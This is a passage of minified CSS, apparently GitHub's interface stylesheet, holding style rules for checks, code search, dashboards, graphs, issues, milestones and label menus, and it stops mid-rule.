.pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph 